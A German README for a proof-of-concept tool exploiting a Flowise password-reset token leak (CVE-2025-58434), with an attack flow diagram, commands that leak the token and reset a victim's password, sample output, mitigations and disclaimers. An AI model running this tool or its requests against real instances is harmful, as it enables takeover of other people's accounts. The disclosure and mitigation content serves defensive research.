
⚠️ Dieses Repository dient ausschließlich Bildungszwecken und autorisierter Sicherheitsforschung.
Unautorisierte Nutzung gegen Systeme, die dir nicht gehören oder für die du keine ausdrückliche Erlaubnis zum Testen hast, ist illegal.
Der forgot-password-Endpunkt in Flowise (sowohl cloud-gehostet als auch selbst gehostet) gibt ein gültiges Passwort-Reset-Token (tempToken) direkt im HTTP-Antworttext zurück — ohne E-Mail-Verifizierung oder Authentifizierung.
Das bedeutet, dass ein Angreifer, der die E-Mail-Adresse eines Opfers kennt (oder erraten kann), Folgendes tun kann:
forgot-password-Endpunkt aufrufen → das tempToken in der JSON-Antwort erhaltentempToken den reset-password-Endpunkt aufrufen → ein beliebiges neues Passwort setzenEs sind kein vorheriger Zugriff, keine Benutzerinteraktion und kein E-Mail-Zugriff erforderlich.
Der forgot-password-Handler gibt den vollständigen Benutzerdatensatz — einschließlich des generierten tempToken — direkt in der API-Antwort zurück, anstatt ihn nur an die registrierte E-Mail-Adresse des Benutzers zu senden.
{
"user": {
"id": "<uuid>",
"name": "Victim Name",
"email": "[email protected]",
"credential": "<bcrypt-hash>",
"tempToken": "<LEAKED_TOKEN_HERE>",
"tokenExpiry": "2025-08-19T13:00:33.834Z",
"status": "active"
}
}
Attacker Flowise API
│ │
│ POST /forgot-password {email} │
│──────────────────────────────────────►│
│ │ (generates tempToken)
│◄──────────────────────────────────────│
│ 201 { tempToken: "abc123..." } │
│ │
│ POST /reset-password {email, │
│ tempToken, newPassword} │
│──────────────────────────────────────►│
│ │
│◄──────────────────────────────────────│
│ 200 OK (password changed!) │
│ │
✓ Account Takeover Complete
cloud.flowiseai.com) — bestätigt betroffenInformationen zu gepatchten Releases findest du im offiziellen Flowise-GitHub-Repository.
CVE-2025-58434/
├── cve_2025_58434_poc.py # Main PoC script (two-stage ATO)
├── requirements.txt # Python dependencies
├── README.md # This file
└── DISCLAIMER.md # Legal notice (read before use)
requests-Bibliothek# Clone the repository
git clone https://github.com/yourhandle/CVE-2025-58434
cd CVE-2025-58434
# Install dependencies
pip install -r requirements.txt
python3 cve_2025_58434_poc.py --help
Bestätige, dass die Instanz verwundbar ist, und rufe das tempToken ab, ohne ein Passwort zurückzusetzen.
python3 cve_2025_58434_poc.py \
--url https://flowise.example.com \
--email [email protected]
Verwende das geleakte Token, um das Passwort sofort zurückzusetzen.
python3 cve_2025_58434_poc.py \
--url https://flowise.example.com \
--email [email protected] \
--reset \
--new-password "MyNewP@ss2025!"
python3 cve_2025_58434_poc.py \
--url https://flowise.example.com \
--email [email protected] \
--json-output
[Step 1] Sending forgot-password request …
[*] HTTP Status : 201
========================================================================
LEAKED ACCOUNT DATA
========================================================================
User ID : 3fa1c2d4-xxxx-xxxx-xxxx-xxxxxxxxxxxx
Name : Admin User
Email : [email protected]
Credential : $2b$10$xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Status : active
tempToken : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
tokenExpiry : 2025-08-19T13:00:33.834Z
========================================================================
[+] tempToken obtained : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
[!] VULNERABLE: The instance leaks password reset tokens unauthenticated!
Wenn du Betreiber einer Flowise-Instanz bist, wende sofort die folgenden Gegenmaßnahmen an:
forgot-password zurück, unabhängig davon, ob die E-Mail existiert — dies verhindert auch die Kontobestandsermittlung (Account Enumeration).forgot-password-Endpunkt hinzu.| Datum | Ereignis |
|---|---|
| 2025-08-19 | Schwachstelle entdeckt und gemeldet |
| TBD | Bestätigung durch den Hersteller |
| TBD | Patch veröffentlicht |
| TBD | Öffentliche Offenlegung |
Dieses Projekt dient ausschließlich Bildungszwecken und autorisierten Penetrationstests.
| Feld | Wert |
|---|
| CVE ID | CVE-2025-58434 |
| CVSS-Score | 9.8 (Kritisch) |
| CVSS-Vektor | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-640: Schwacher Mechanismus zur Passwortwiederherstellung |
| Typ | Authentifizierungsumgehung / Unsichere direkte Objektreferenz |
| Betroffene App | Flowise (Cloud + selbst gehostet) |
| Endpunkt 1 | POST /api/v1/account/forgot-password |
| Endpunkt 2 | POST /api/v1/account/reset-password |
| Flag | Kurz | Beschreibung | Standard |
|---|
--url URL | -u | Basis-URL der Flowise-Instanz | (erforderlich) |
--email EMAIL | -e | E-Mail-Adresse des Zielkontos | (erforderlich) |
--reset | -r | Phase 2 ausführen: Passwort mit geleaktem Token zurücksetzen | False |
--new-password PASS | -p | Neues zu setzendes Passwort (wird mit --reset verwendet) | Changeme@2025! |
--timeout SECONDS | -t | HTTP-Request-Timeout | 10 |
--json-output | -j | Roh-JSON-Antwort auf stdout ausgeben | False |